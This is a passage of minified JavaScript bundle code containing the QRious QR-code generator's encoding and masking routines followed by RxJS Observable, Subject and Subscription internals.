Et=this.width=17+4*this._version;this.buffer=K._createArray(Et*Et),this._ecc=K._createArray(w+(w+R)*(_e+ct)+ct),this._mask=K._createArray((Et*(Et+1)+1)/2),this._insertFinders(),this._insertAlignments(),this.buffer[8+Et*(Et-8)]=1,this._insertTimingGap(),this._reverseMask(),this._insertTimingRowAndColumn(),this._insertVersion(),this._syncMask(),this._convertBitStream(Je),this._calculatePolynomial(),this._appendEccToData(),this._interleaveBlocks(),this._pack(),this._finish()},{_addAlignment:function(P,w){var R,X=this.buffer,_e=this.width;for(X[P+_e*w]=1,R=-2;R<2;R++)X[P+R+_e*(w-2)]=1,X[P-2+_e*(w+R+1)]=1,X[P+2+_e*(w+R)]=1,X[P+R+1+_e*(w+2)]=1;for(R=0;R<2;R++)this._setMask(P-1,w+R),this._setMask(P+1,w-R),this._setMask(P-R,w-1),this._setMask(P+R,w+1)},_appendData:function(P,w,R,X){var _e,ct,Je,Et=this._polynomial,Dt=this._stringBuffer;for(ct=0;ct<X;ct++)Dt[R+ct]=0;for(ct=0;ct<w;ct++){if(255!==(_e=oe.LOG[Dt[P+ct]^Dt[R]]))for(Je=1;Je<X;Je++)Dt[R+Je-1]=Dt[R+Je]^oe.EXPONENT[K._modN(_e+Et[X-Je])];else for(Je=R;Je<R+X;Je++)Dt[Je]=Dt[Je+1];Dt[R+X-1]=255===_e?0:oe.EXPONENT[K._modN(_e+Et[0])]}},_appendEccToData:function(){var P,w=0,R=this._dataBlock,X=this._calculateMaxLength(),_e=this._eccBlock;for(P=0;P<this._neccBlock1;P++)this._appendData(w,R,X,_e),w+=R,X+=_e;for(P=0;P<this._neccBlock2;P++)this._appendData(w,R+1,X,_e),w+=R+1,X+=_e},_applyMask:function(P){var w,R,X,_e,ct=this.buffer,Je=this.width;switch(P){case 0:for(_e=0;_e<Je;_e++)for(X=0;X<Je;X++)!(X+_e&1)&&!this._isMasked(X,_e)&&(ct[X+_e*Je]^=1);break;case 1:for(_e=0;_e<Je;_e++)for(X=0;X<Je;X++)!(1&_e)&&!this._isMasked(X,_e)&&(ct[X+_e*Je]^=1);break;case 2:for(_e=0;_e<Je;_e++)for(w=0,X=0;X<Je;X++,w++)3===w&&(w=0),!w&&!this._isMasked(X,_e)&&(ct[X+_e*Je]^=1);break;case 3:for(R=0,_e=0;_e<Je;_e++,R++)for(3===R&&(R=0),w=R,X=0;X<Je;X++,w++)3===w&&(w=0),!w&&!this._isMasked(X,_e)&&(ct[X+_e*Je]^=1);break;case 4:for(_e=0;_e<Je;_e++)for(w=0,R=_e>>1&1,X=0;X<Je;X++,w++)3===w&&(w=0,R=!R),!R&&!this._isMasked(X,_e)&&(ct[X+_e*Je]^=1);break;case 5:for(R=0,_e=0;_e<Je;_e++,R++)for(3===R&&(R=0),w=0,X=0;X<Je;X++,w++)3===w&&(w=0),!((X&_e&1)+!(!w|!R))&&!this._isMasked(X,_e)&&(ct[X+_e*Je]^=1);break;case 6:for(R=0,_e=0;_e<Je;_e++,R++)for(3===R&&(R=0),w=0,X=0;X<Je;X++,w++)3===w&&(w=0),!((X&_e&1)+(w&&w===R)&1)&&!this._isMasked(X,_e)&&(ct[X+_e*Je]^=1);break;case 7:for(R=0,_e=0;_e<Je;_e++,R++)for(3===R&&(R=0),w=0,X=0;X<Je;X++,w++)3===w&&(w=0),!((w&&w===R)+(X+_e&1)&1)&&!this._isMasked(X,_e)&&(ct[X+_e*Je]^=1)}},_calculateMaxLength:function(){return this._dataBlock*(this._neccBlock1+this._neccBlock2)+this._neccBlock2},_calculatePolynomial:function(){var P,w,R=this._eccBlock,X=this._polynomial;for(X[0]=1,P=0;P<R;P++){for(X[P+1]=1,w=P;w>0;w--)X[w]=X[w]?X[w-1]^oe.EXPONENT[K._modN(oe.LOG[X[w]]+P)]:X[w-1];X[0]=oe.EXPONENT[K._modN(oe.LOG[X[0]]+P)]}for(P=0;P<=R;P++)X[P]=oe.LOG[X[P]]},_checkBadness:function(){var P,w,R,X,_e,ct=0,Je=this._badness,Et=this.buffer,Dt=this.width;for(_e=0;_e<Dt-1;_e++)for(X=0;X<Dt-1;X++)(Et[X+Dt*_e]&&Et[X+1+Dt*_e]&&Et[X+Dt*(_e+1)]&&Et[X+1+Dt*(_e+1)]||!(Et[X+Dt*_e]||Et[X+1+Dt*_e]||Et[X+Dt*(_e+1)]||Et[X+1+Dt*(_e+1)]))&&(ct+=K.N2);var Pt=0;for(_e=0;_e<Dt;_e++){for(R=0,Je[0]=0,P=0,X=0;X<Dt;X++)P===(w=Et[X+Dt*_e])?Je[R]++:Je[++R]=1,Pt+=(P=w)?1:-1;ct+=this._getBadness(R)}Pt<0&&(Pt=-Pt);var Ie=0,te=Pt;for(te+=te<<2,te<<=1;te>Dt*Dt;)te-=Dt*Dt,Ie++;for(ct+=Ie*K.N4,X=0;X<Dt;X++){for(R=0,Je[0]=0,P=0,_e=0;_e<Dt;_e++)P===(w=Et[X+Dt*_e])?Je[R]++:Je[++R]=1,P=w;ct+=this._getBadness(R)}return ct},_convertBitStream:function(P){var w,R,X=this._ecc,_e=this._version;for(R=0;R<P;R++)X[R]=this._value.charCodeAt(R);var ct=this._stringBuffer=X.slice(),Je=this._calculateMaxLength();P>=Je-2&&(P=Je-2,_e>9&&P--);var Et=P;if(_e>9){for(ct[Et+2]=0,ct[Et+3]=0;Et--;)ct[Et+3]|=255&(w=ct[Et])<<4,ct[Et+2]=w>>4;ct[2]|=255&P<<4,ct[1]=P>>4,ct[0]=64|P>>12}else{for(ct[Et+1]=0,ct[Et+2]=0;Et--;)ct[Et+2]|=255&(w=ct[Et])<<4,ct[Et+1]=w>>4;ct[1]|=255&P<<4,ct[0]=64|P>>4}for(Et=P+3-(_e<10);Et<Je;)ct[Et++]=236,ct[Et++]=17},_getBadness:function(P){var w,R=0,X=this._badness;for(w=0;w<=P;w++)X[w]>=5&&(R+=K.N1+X[w]-5);for(w=3;w<P-1;w+=2)X[w-2]===X[w+2]&&X[w+2]===X[w-1]&&X[w-1]===X[w+1]&&3*X[w-1]===X[w]&&(0===X[w-3]||w+3>P||3*X[w-3]>=4*X[w]||3*X[w+3]>=4*X[w])&&(R+=K.N3);return R},_finish:function(){this._stringBuffer=this.buffer.slice();var P,w,R=0,X=3e4;for(w=0;w<8&&(this._applyMask(w),(P=this._checkBadness())<X&&(X=P,R=w),7!==R);w++)this.buffer=this._stringBuffer.slice();R!==w&&this._applyMask(R),X=G.FINAL_FORMAT[R+(this._level-1<<3)];var _e=this.buffer,ct=this.width;for(w=0;w<8;w++,X>>=1)1&X&&(_e[ct-1-w+8*ct]=1,w<6?_e[8+ct*w]=1:_e[8+ct*(w+1)]=1);for(w=0;w<7;w++,X>>=1)1&X&&(_e[8+ct*(ct-7+w)]=1,w?_e[6-w+8*ct]=1:_e[7+8*ct]=1)},_interleaveBlocks:function(){var P,w,R=this._dataBlock,X=this._ecc,_e=this._eccBlock,ct=0,Je=this._calculateMaxLength(),Et=this._neccBlock1,Dt=this._neccBlock2,Pt=this._stringBuffer;for(P=0;P<R;P++){for(w=0;w<Et;w++)X[ct++]=Pt[P+w*R];for(w=0;w<Dt;w++)X[ct++]=Pt[Et*R+P+w*(R+1)]}for(w=0;w<Dt;w++)X[ct++]=Pt[Et*R+P+w*(R+1)];for(P=0;P<_e;P++)for(w=0;w<Et+Dt;w++)X[ct++]=Pt[Je+P+w*_e];this._stringBuffer=X},_insertAlignments:function(){var P,w,R,X=this._version,_e=this.width;if(X>1)for(P=j.BLOCK[X],R=_e-7;;){for(w=_e-7;w>P-3&&(this._addAlignment(w,R),!(w<P));)w-=P;if(R<=P+9)break;this._addAlignment(6,R-=P),this._addAlignment(R,6)}},_insertFinders:function(){var P,w,R,X,_e=this.buffer,ct=this.width;for(P=0;P<3;P++){for(w=0,X=0,1===P&&(w=ct-7),2===P&&(X=ct-7),_e[X+3+ct*(w+3)]=1,R=0;R<6;R++)_e[X+R+ct*w]=1,_e[X+ct*(w+R+1)]=1,_e[X+6+ct*(w+R)]=1,_e[X+R+1+ct*(w+6)]=1;for(R=1;R<5;R++)this._setMask(X+R,w+1),this._setMask(X+1,w+R+1),this._setMask(X+5,w+R),this._setMask(X+R+1,w+5);for(R=2;R<4;R++)_e[X+R+ct*(w+2)]=1,_e[X+2+ct*(w+R+1)]=1,_e[X+4+ct*(w+R)]=1,_e[X+R+1+ct*(w+4)]=1}},_insertTimingGap:function(){var P,w,R=this.width;for(w=0;w<7;w++)this._setMask(7,w),this._setMask(R-8,w),this._setMask(7,w+R-7);for(P=0;P<8;P++)this._setMask(P,7),this._setMask(P+R-8,7),this._setMask(P,R-8)},_insertTimingRowAndColumn:function(){var P,w=this.buffer,R=this.width;for(P=0;P<R-14;P++)1&P?(this._setMask(8+P,6),this._setMask(6,8+P)):(w[8+P+6*R]=1,w[6+R*(8+P)]=1)},_insertVersion:function(){var P,w,R,X,_e=this.buffer,ct=this._version,Je=this.width;if(ct>6)for(P=k.BLOCK[ct-7],w=17,R=0;R<6;R++)for(X=0;X<3;X++,w--)1&(w>11?ct>>w-12:P>>w)?(_e[5-R+Je*(2-X+Je-11)]=1,_e[2-X+Je-11+Je*(5-R)]=1):(this._setMask(5-R,2-X+Je-11),this._setMask(2-X+Je-11,5-R))},_isMasked:function(P,w){var R=K._getMaskBit(P,w);return 1===this._mask[R]},_pack:function(){var P,w,R,X=1,_e=1,ct=this.width,Je=ct-1,Et=ct-1,Dt=(this._dataBlock+this._eccBlock)*(this._neccBlock1+this._neccBlock2)+this._neccBlock2;for(w=0;w<Dt;w++)for(P=this._stringBuffer[w],R=0;R<8;R++,P<<=1){128&P&&(this.buffer[Je+ct*Et]=1);do{_e?Je--:(Je++,X?0!==Et?Et--:(X=!X,6==(Je-=2)&&(Je--,Et=9)):Et!==ct-1?Et++:(X=!X,6==(Je-=2)&&(Je--,Et-=8))),_e=!_e}while(this._isMasked(Je,Et))}},_reverseMask:function(){var P,w,R=this.width;for(P=0;P<9;P++)this._setMask(P,8);for(P=0;P<8;P++)this._setMask(P+R-8,8),this._setMask(8,P);for(w=0;w<7;w++)this._setMask(8,w+R-7)},_setMask:function(P,w){var R=K._getMaskBit(P,w);this._mask[R]=1},_syncMask:function(){var P,w,R=this.width;for(w=0;w<R;w++)for(P=0;P<=w;P++)this.buffer[P+R*w]&&this._setMask(P,w)}},{_createArray:function(P){var w,R=[];for(w=0;w<P;w++)R[w]=0;return R},_getMaskBit:function(P,w){var R;return P>w&&(R=P,P=w,w=R),R=w,R+=w*w,(R>>=1)+P},_modN:function(P){for(;P>=255;)P=((P-=255)>>8)+(255&P);return P},N1:3,N2:3,N3:40,N4:10}),se=K,q=g.extend({draw:function(){this.element.src=this.qrious.toDataURL()},reset:function(){this.element.src=""},resize:function(){var P=this.element;P.width=P.height=this.qrious.size}}),ce=_.extend(function(P,w,R,X){this.name=P,this.modifiable=Boolean(w),this.defaultValue=R,this._valueTransformer=X},{transform:function(P){var w=this._valueTransformer;return"function"==typeof w?w(P,this):P}}),Ze=_.extend(null,{abs:function(P){return null!=P?Math.abs(P):null},hasOwn:function(P,w){return Object.prototype.hasOwnProperty.call(P,w)},noop:function(){},toUpperCase:function(P){return null!=P?P.toUpperCase():null}}),le=_.extend(function(P){this.options={},P.forEach(function(w){this.options[w.name]=w},this)},{exists:function(P){return null!=this.options[P]},get:function(P,w){return le._get(this.options[P],w)},getAll:function(P){var w,R=this.options,X={};for(w in R)Ze.hasOwn(R,w)&&(X[w]=le._get(R[w],P));return X},init:function(P,w,R){var X,_e;for(X in"function"!=typeof R&&(R=Ze.noop),this.options)Ze.hasOwn(this.options,X)&&(le._set(_e=this.options[X],_e.defaultValue,w),le._createAccessor(_e,w,R));this._setAll(P,w,!0)},set:function(P,w,R){return this._set(P,w,R)},setAll:function(P,w){return this._setAll(P,w)},_set:function(P,w,R,X){var _e=this.options[P];if(!_e)throw new Error("Invalid option: "+P);if(!_e.modifiable&&!X)throw new Error("Option cannot be modified: "+P);return le._set(_e,w,R)},_setAll:function(P,w,R){if(!P)return!1;var X,_e=!1;for(X in P)Ze.hasOwn(P,X)&&this._set(X,P[X],w,R)&&(_e=!0);return _e}},{_createAccessor:function(P,w,R){var X={get:function(){return le._get(P,w)}};P.modifiable&&(X.set=function(_e){le._set(P,_e,w)&&R(_e,P)}),Object.defineProperty(w,P.name,X)},_get:function(P,w){return w["_"+P.name]},_set:function(P,w,R){var X="_"+P.name,_e=R[X],ct=P.transform(w??P.defaultValue);return R[X]=ct,ct!==_e}}),Oe=le,Ye=_.extend(function(){this._services={}},{getService:function(P){var w=this._services[P];if(!w)throw new Error("Service is not being managed with name: "+P);return w},setService:function(P,w){if(this._services[P])throw new Error("Service is already managed with name: "+P);w&&(this._services[P]=w)}}),qe=new Oe([new ce("background",!0,"white"),new ce("backgroundAlpha",!0,1,Ze.abs),new ce("element"),new ce("foreground",!0,"black"),new ce("foregroundAlpha",!0,1,Ze.abs),new ce("level",!0,"L",Ze.toUpperCase),new ce("mime",!0,"image/png"),new ce("padding",!0,null,Ze.abs),new ce("size",!0,100,Ze.abs),new ce("value",!0,"")]),Ke=new Ye,dt=_.extend(function(P){qe.init(P,this,this.update.bind(this));var w=qe.get("element",this),R=Ke.getService("element"),X=w&&R.isCanvas(w)?w:R.createCanvas(),_e=w&&R.isImage(w)?w:R.createImage();this._canvasRenderer=new z(this,X,!0),this._imageRenderer=new q(this,_e,_e===w),this.update()},{get:function(){return qe.getAll(this)},set:function(P){qe.setAll(P,this)&&this.update()},toDataURL:function(P){return this.canvas.toDataURL(P||this.mime)},update:function(){var P=new se({level:this.level,value:this.value});this._canvasRenderer.render(P),this._imageRenderer.render(P)}},{use:function(P){Ke.setService(P.getName(),P)}});Object.defineProperties(dt.prototype,{canvas:{get:function(){return this._canvasRenderer.getElement()}},image:{get:function(){return this._imageRenderer.getElement()}}});var ze=dt,xt=_.extend({getName:function(){}}).extend({createCanvas:function(){},createImage:function(){},getName:function(){return"element"},isCanvas:function(P){},isImage:function(P){}}).extend({createCanvas:function(){return document.createElement("canvas")},createImage:function(){return document.createElement("img")},isCanvas:function(P){return P instanceof HTMLCanvasElement},isImage:function(P){return P instanceof HTMLImageElement}});return ze.use(new xt),ze}()},591:(At,ae,d)=>{"use strict";d.d(ae,{X:()=>s});var n=d(8929),a=d(5279);class s extends n.xQ{constructor(c){super(),this._value=c}get value(){return this.getValue()}_subscribe(c){const f=super._subscribe(c);return f&&!f.closed&&c.next(this._value),f}getValue(){if(this.hasError)throw this.thrownError;if(this.closed)throw new a.N;return this._value}next(c){super.next(this._value=c)}}},9312:(At,ae,d)=>{"use strict";d.d(ae,{P:()=>c});var n=d(8896),a=d(1086),s=d(1737);class c{constructor(E,_,S){this.kind=E,this.value=_,this.error=S,this.hasValue="N"===E}observe(E){switch(this.kind){case"N":return E.next&&E.next(this.value);case"E":return E.error&&E.error(this.error);case"C":return E.complete&&E.complete()}}do(E,_,S){switch(this.kind){case"N":return E&&E(this.value);case"E":return _&&_(this.error);case"C":return S&&S()}}accept(E,_,S){return E&&"function"==typeof E.next?this.observe(E):this.do(E,_,S)}toObservable(){switch(this.kind){case"N":return(0,a.of)(this.value);case"E":return(0,s._)(this.error);case"C":return(0,n.c)()}throw new Error("unexpected notification kind value")}static createNext(E){return typeof E<"u"?new c("N",E):c.undefinedValueNotification}static createError(E){return new c("E",void 0,E)}static createComplete(){return c.completeNotification}}c.completeNotification=new c("C"),c.undefinedValueNotification=new c("N",void 0)},6498:(At,ae,d)=>{"use strict";d.d(ae,{y:()=>S});var n=d(3489),s=d(7668),u=d(3292),f=d(3821),E=d(4843),_=d(2830);let S=(()=>{class C{constructor(H){this._isScalar=!1,H&&(this._subscribe=H)}lift(H){const j=new C;return j.source=this,j.operator=H,j}subscribe(H,j,U){const{operator:G}=this,Q=function c(C,z,H){if(C){if(C instanceof n.L)return C;if(C[s.b])return C[s.b]()}return C||z||H?new n.L(C,z,H):new n.L(u.c)}(H,j,U);if(Q.add(G?G.call(Q,this.source):this.source||_.v.useDeprecatedSynchronousErrorHandling&&!Q.syncErrorThrowable?this._subscribe(Q):this._trySubscribe(Q)),_.v.useDeprecatedSynchronousErrorHandling&&Q.syncErrorThrowable&&(Q.syncErrorThrowable=!1,Q.syncErrorThrown))throw Q.syncErrorValue;return Q}_trySubscribe(H){try{return this._subscribe(H)}catch(j){_.v.useDeprecatedSynchronousErrorHandling&&(H.syncErrorThrown=!0,H.syncErrorValue=j),function a(C){for(;C;){const{closed:z,destination:H,isStopped:j}=C;if(z||j)return!1;C=H&&H instanceof n.L?H:null}return!0}(H)?H.error(j):console.warn(j)}}forEach(H,j){return new(j=g(j))((U,G)=>{let Q;Q=this.subscribe(oe=>{try{H(oe)}catch(Ce){G(Ce),Q&&Q.unsubscribe()}},G,U)})}_subscribe(H){const{source:j}=this;return j&&j.subscribe(H)}[f.L](){return this}pipe(...H){return 0===H.length?this:(0,E.U)(H)(this)}toPromise(H){return new(H=g(H))((j,U)=>{let G;this.subscribe(Q=>G=Q,Q=>U(Q),()=>j(G))})}}return C.create=z=>new C(z),C})();function g(C){if(C||(C=_.v.Promise||Promise),!C)throw new Error("no Promise impl found");return C}},3292:(At,ae,d)=>{"use strict";d.d(ae,{c:()=>s});var n=d(2830),a=d(2782);const s={closed:!0,next(u){},error(u){if(n.v.useDeprecatedSynchronousErrorHandling)throw u;(0,a.z)(u)},complete(){}}},8929:(At,ae,d)=>{"use strict";d.d(ae,{Yc:()=>E,xQ:()=>_});var n=d(6498),a=d(3489),s=d(2654),u=d(5279),c=d(5283),f=d(7668);class E extends a.L{constructor(C){super(C),this.destination=C}}let _=(()=>{class g extends n.y{constructor(){super(),this.observers=[],this.closed=!1,this.isStopped=!1,this.hasError=!1,this.thrownError=null}[f.b](){return new E(this)}lift(z){const H=new S(this,this);return H.operator=z,H}next(z){if(this.closed)throw new u.N;if(!this.isStopped){const{observers:H}=this,j=H.length,U=H.slice();for(let G=0;G<j;G++)U[G].next(z)}}error(z){if(this.closed)throw new u.N;this.hasError=!0,this.thrownError=z,this.isStopped=!0;const{observers:H}=this,j=H.length,U=H.slice();for(let G=0;G<j;G++)U[G].error(z);this.observers.length=0}complete(){if(this.closed)throw new u.N;this.isStopped=!0;const{observers:z}=this,H=z.length,j=z.slice();for(let U=0;U<H;U++)j[U].complete();this.observers.length=0}unsubscribe(){this.isStopped=!0,this.closed=!0,this.observers=null}_trySubscribe(z){if(this.closed)throw new u.N;return super._trySubscribe(z)}_subscribe(z){if(this.closed)throw new u.N;return this.hasError?(z.error(this.thrownError),s.w.EMPTY):this.isStopped?(z.complete(),s.w.EMPTY):(this.observers.push(z),new c.W(this,z))}asObservable(){const z=new n.y;return z.source=this,z}}return g.create=(C,z)=>new S(C,z),g})();class S extends _{constructor(C,z){super(),this.destination=C,this.source=z}next(C){const{destination:z}=this;z&&z.next&&z.next(C)}error(C){const{destination:z}=this;z&&z.error&&this.destination.error(C)}complete(){const{destination:C}=this;C&&C.complete&&this.destination.complete()}_subscribe(C){const{source:z}=this;return z?this.source.subscribe(C):s.w.EMPTY}}},5283:(At,ae,d)=>{"use strict";d.d(ae,{W:()=>a});var n=d(2654);class a extends n.w{constructor(u,c){super(),this.subject=u,this.subscriber=c,this.closed=!1}unsubscribe(){if(this.closed)return;this.closed=!0;const u=this.subject,c=u.observers;if(this.subject=null,!c||0===c.length||u.isStopped||u.closed)return;const f=c.indexOf(this.subscriber);-1!==f&&c.splice(f,1)}}},3489:(At,ae,d)=>{"use strict";d.d(ae,{L:()=>E});var n=d(7043),a=d(3292),s=d(2654),u=d(7668),c=d(2830),f=d(2782);class E extends s.w{constructor(g,C,z){switch(super(),this.syncErrorValue=null,this.syncErrorThrown=!1,this.syncErrorThrowable=!1,this.isStopped=!1,arguments.length){case 0:this.destination=a.c;break;case 1:if(!g){this.destination=a.c;break}if("object"==typeof g){g instanceof E?(this.syncErrorThrowable=g.syncErrorThrowable,this.destination=g,g.add(this)):(this.syncErrorThrowable=!0,this.destination=new _(this,g));break}default:this.syncErrorThrowable=!0,this.destination=new _(this,g,C,z)}}[u.b](){return this}static create(g,C,z){const H=new E(g,C,z);return H.syncErrorThrowable=!1,H}next(g){this.isStopped||this._next(g)}error(g){this.isStopped||(this.isStopped=!0,this._error(g))}complete(){this.isStopped||(this.isStopped=!0,this._complete())}unsubscribe(){this.closed||(this.isStopped=!0,super.unsubscribe())}_next(g){this.destination.next(g)}_error(g){this.destination.error(g),this.unsubscribe()}_complete(){this.destination.complete(),this.unsubscribe()}_unsubscribeAndRecycle(){const{_parentOrParents:g}=this;return this._parentOrParents=null,this.unsubscribe(),this.closed=!1,this.isStopped=!1,this._parentOrParents=g,this}}class _ extends E{constructor(g,C,z,H){super(),this._parentSubscriber=g;let j,U=this;(0,n.m)(C)?j=C:C&&(j=C.next,z=C.error,H=C.complete,C!==a.c&&(U=Object.create(C),(0,n.m)(U.unsubscribe)&&this.add(U.unsubscribe.bind(U)),U.unsubscribe=this.unsubscribe.bind(this))),this._context=U,this._next=j,this._error=z,this._complete=H}next(g){if(!this.isStopped&&this._next){const{_parentSubscriber:C}=this;c.v.useDeprecatedSynchronousErrorHandling&&C.syncErrorThrowable?this.__tryOrSetError(C,this._next,g)&&this.unsubscribe():this.__tryOrUnsub(this._next,g)}}error(g){if(!this.isStopped){const{_parentSubscriber:C}=this,{useDeprecatedSynchronousErrorHandling:z}=c.v;if(this._error)z&&C.syncErrorThrowable?(this.__tryOrSetError(C,this._error,g),this.unsubscribe()):(this.__tryOrUnsub(this._error,g),this.unsubscribe());else if(C.syncErrorThrowable)z?(C.syncErrorValue=g,C.syncErrorThrown=!0):(0,f.z)(g),this.unsubscribe();else{if(this.unsubscribe(),z)throw g;(0,f.z)(g)}}}complete(){if(!this.isStopped){const{_parentSubscriber:g}=this;if(this._complete){const C=()=>this._complete.call(this._context);c.v.useDeprecatedSynchronousErrorHandling&&g.syncErrorThrowable?(this.__tryOrSetError(g,C),this.unsubscribe()):(this.__tryOrUnsub(C),this.unsubscribe())}else this.unsubscribe()}}__tryOrUnsub(g,C){try{g.call(this._context,C)}catch(z){if(this.unsubscribe(),c.v.useDeprecatedSynchronousErrorHandling)throw z;(0,f.z)(z)}}__tryOrSetError(g,C,z){if(!c.v.useDeprecatedSynchronousErrorHandling)throw new Error("bad call");try{C.call(this._context,z)}catch(H){return c.v.useDeprecatedSynchronousErrorHandling?(g.syncErrorValue=H,g.syncErrorThrown=!0,!0):((0,f.z)(H),!0)}return!1}_unsubscribe(){const{_parentSubscriber:g}=this;this._context=null,this._parentSubscriber=null,g.unsubscribe()}}},2654:(At,ae,d)=>{"use strict";d.d(ae,{w:()=>f});var n=d(6688),a=d(7830),s=d(7043);const c=(()=>{function _(S){return Error.call(this),this.message=S?`${S.length} errors occurred during unsubscription:\\n${S.map((g,C)=>`${C+1}) ${g.toString()}`).join("\\n ")}`:"",this.name="UnsubscriptionError",this.errors=S,this}return _.prototype=Object.create(Error.prototype),_})();class f{constructor(S){this.closed=!1,this._parentOrParents=null,this._subscriptions=null,S&&(this._ctorUnsubscribe=!0,this._unsubscribe=S)}unsubscribe(){let S;if(this.closed)return;let{_parentOrParents:g,_ctorUnsubscribe:C,_unsubscribe:z,_subscriptions:H}=this;if(this.closed=!0,this._parentOrParents=null,this._subscriptions=null,g instanceof f)g.remove(this);else if(null!==g)for(let j=0;j<g.length;++j)g[j].remove(this);if((0,s.m)(z)){C&&(this._unsubscribe=void 0);try{z.call(this)}catch(j){S=j instanceof c?E(j.errors):[j]}}if((0,n.k)(H)){let j=-1,U=H.length;for(;++j<U;){const G=H[j];if((0,a.K)(G))try{G.unsubscribe()}catch(Q){S=S||[],Q instanceof c?S=S.concat(E(Q.errors)):S.push(Q)}}}if(S)throw new c(S)}add(S){let g=S;if(!S)return f.EMPTY;switch(typeof S){case"function":g=new f(S);case"object":if(g===this||g.closed||"function"!=typeof g.unsubscribe)return g;if(this.closed)return g.unsubscribe(),g;if(!(g instanceof f)){const H=g;g=new f,g._subscriptions=[H]}break;default:throw new Error("unrecognized teardown "+S+" added to Subscription.")}let{_parentOrParents:C}=g;if(null===C)g._parentOrParents=this;else if(C instanceof f){if(C===this)return g;g._parentOrParents=[C,this]}else{if(-1!==C.indexOf(this))return g;C.push(this)}const z=this._subscriptions;return null===z?this._subscriptions=[g]:z.push(g),g}remove(S){const g=this._subscriptions;if(g){const C=g.indexOf(S);-1!==C&&g.splice(C,1)}}}var _;function E(_){return _.reduce((S,g)=>S.concat(g instanceof c?g.errors:g),[])}f.EMPTY=((_=new f).closed=!0,_)},2830:(At,ae,d)=>{"use strict";d.d(ae,{v:()=>a});let n=!1;const a={Promise:void 0,set useDeprecatedSynchronousErrorHandling(s){if(s){const u=new Error;console.warn("DEPRECATED! RxJS was set to use deprecated synchronous error handling behavior by code at: \\n"+u.stack)}else n&&console.log("RxJS: Back to a better error behavior. Thank you. <3");n=s},get useDeprecatedSynchronousErrorHandling(){return n}}},1177:(At,ae,d)=>{"use strict";d.d(ae,{Ds:()=>f,IY:()=>u,ft:()=>_});var n=d(3489),a=d(6498),s=d(9249);class u extends n.L{constructor(g){super(),this.parent=g}_next(g){this.parent.notifyNext(g)}_error(g){this.parent.notifyError(g),this.unsubscribe()}_complete(){this.parent.notifyComplete(),this.unsubscribe()}}class f extends n.L{notifyNext(g){this.destination.next(g)}notifyError(g){this.destination.error(g)}notifyComplete(){this.destination.complete()}}function _(S,g){if(!g.closed)return S instanceof a.y?S.subscribe(g):(0,s.s)(S)(g)}},1762:(At,ae,d)=>{"use strict";d.d(ae,{N:()=>f,c:()=>c});var n=d(8929),a=d(6498),s=d(2654),u=d(4327);class c extends a.y{constructor(C,z){super(),this.source=C,this.subjectFactory=z,this._refCount=0,this._isComplete=!1}_subscribe(C){return this.getSubject().subscribe(C)}getSubject(){const C=this._subject;return(!C||C.isStopped)&&(this._subject=this.subjectFactory()),this._subject}connect(){let C=this._connection;return C||(this._isComplete=!1,C=this._connection=new s.w,C.add(this.source.subscribe(new E(this.getSubject(),this))),C.closed&&(this._connection=null,C=s.w.EMPTY)),C}refCount(){return(0,u.x)()(this)}}const f=(()=>{const g=c.prototype;return{operator:{value:null},_refCount:{value:0,writable:!0},_subject:{value:null,writable:!0},_connection:{value:null,writable:!0},_subscribe:{value:g._subscribe},_isComplete:{value:g._isComplete,writable:!0},getSubject:{value:g.getSubject},connect:{value:g.connect},refCount:{value:g.refCount}}})();class E extends n.Yc{constructor(C,z){super(C),this.connectable=z}_error(C){this._unsubscribe(),super._error(C)}_complete(){this.connectable._isComplete=!0,this._unsubscribe(),super._complete()}_unsubscribe(){const C=this.connectable;if(C){this.connectable=null;const z=C._connection;C._refCount=0,C._subject=null,C._connection=null,z&&z.unsubscribe()}}}},3426:(At,ae,d)=>{"use strict";d.d(ae,{aj:()=>C});var n=d(2866),a=d(6688),s=d(3489);class u extends s.L{notifyNext(U,G,Q,oe,Ce){this.destination.next(G)}notifyError(U,G){this.destination.error(U)}notifyComplete(U){this.destination.complete()}}class c extends s.L{constructor(U,G,Q){super(),this.parent=U,this.outerValue=G,this.outerIndex=Q,this.index=0}_next(U){this.parent.notifyNext(this.outerValue,U,this.outerIndex,this.index++,this)}_error(U){this.parent.notifyError(U,this),this.unsubscribe()}_complete(){this.parent.notifyComplete(this),this.unsubscribe()}}var f=d(9249),E=d(6498);function _(j,U,G,Q,oe=new c(j,G,Q)){if(!oe.closed)return U instanceof E.y?U.subscribe(oe):(0,f.s)(U)(oe)}var S=d(3009);const g={};function C(...j){let U,G;return(0,n.K)(j[j.length-1])&&(G=j.pop()),"function"==typeof j[j.length-1]&&(U=j.pop()),1===j.length&&(0,a.k)(j[0])&&(j=j[0]),(0,S.n)(j,G).lift(new z(U))}class z{constructor(U){this.resultSelector=U}call(U,G){return G.subscribe(new H(U,this.resultSelector))}}class H extends u{constructor(U,G){super(U),this.resultSelector=G,this.active=0,this.values=[],this.observables=[]}_next(U){this.values.push(g),this.observables.push(U)}_complete(){const U=this.observables,G=U.length;if(0===G)this.destination.complete();else{this.active=G,this.toRespond=G;for(let Q=0;Q<G;Q++)this.add(_(this,U[Q],void 0,Q))}}notifyComplete(U){0==(this.active-=1)&&this.destination.complete()}notifyNext(U,G,Q){const oe=this.values,k=this.toRespond?oe[Q]===g?--this.toRespond:this.toRespond:0;oe[Q]=G,0===k&&(this.resultSelector?this._tryResultSelector(oe):this.destination.next(oe.slice()))}_tryResultSelector(U){let G;try{G=this.resultSelector.apply(this,U)}catch(Q){return void this.destination.error(Q)}this.destination.next(G)}}},1221:(At,ae,d)=>{"use strict";d.d(ae,{z:()=>u});var n=d(1086),a=d(9146);function u(...c){return function s(){return(0,a.J)(1)}()((0,n.of)(...c))}},8514:(At,ae,d)=>{"use strict";d.d(ae,{P:()=>u});var n=d(6498),a=d(5254),s=d(8896);function u(c){return new n.y(f=>{let E;try{E=c()}catch(S){return void f.error(S)}return(E?(0,a.D)(E):(0,s.c)()).subscribe(f)})}},8896:(At,ae,d)=>{"use strict";d.d(ae,{E:()=>a,c:()=>s});var n=d(6498);const a=new n.y(c=>c.complete());function s(c){return c?function u(c){return new n.y(f=>c.schedule(()=>f.complete()))}(c):a}},567:(At,ae,d)=>{"use strict";d.d(ae,{D:()=>f});var n=d(6498),a=d(6688),s=d(4850),u=d(7830),c=d(5254);function f(..._){if(1===_.length){const S=_[0];if((0,a.k)(S))return E(S,null);if((0,u.K)(S)&&Object.getPrototypeOf(S)===Object.prototype){const g=Object.keys(S);return E(g.map(C=>S[C]),g)}}if("function"==typeof _[_.length-1]){const S=_.pop();return 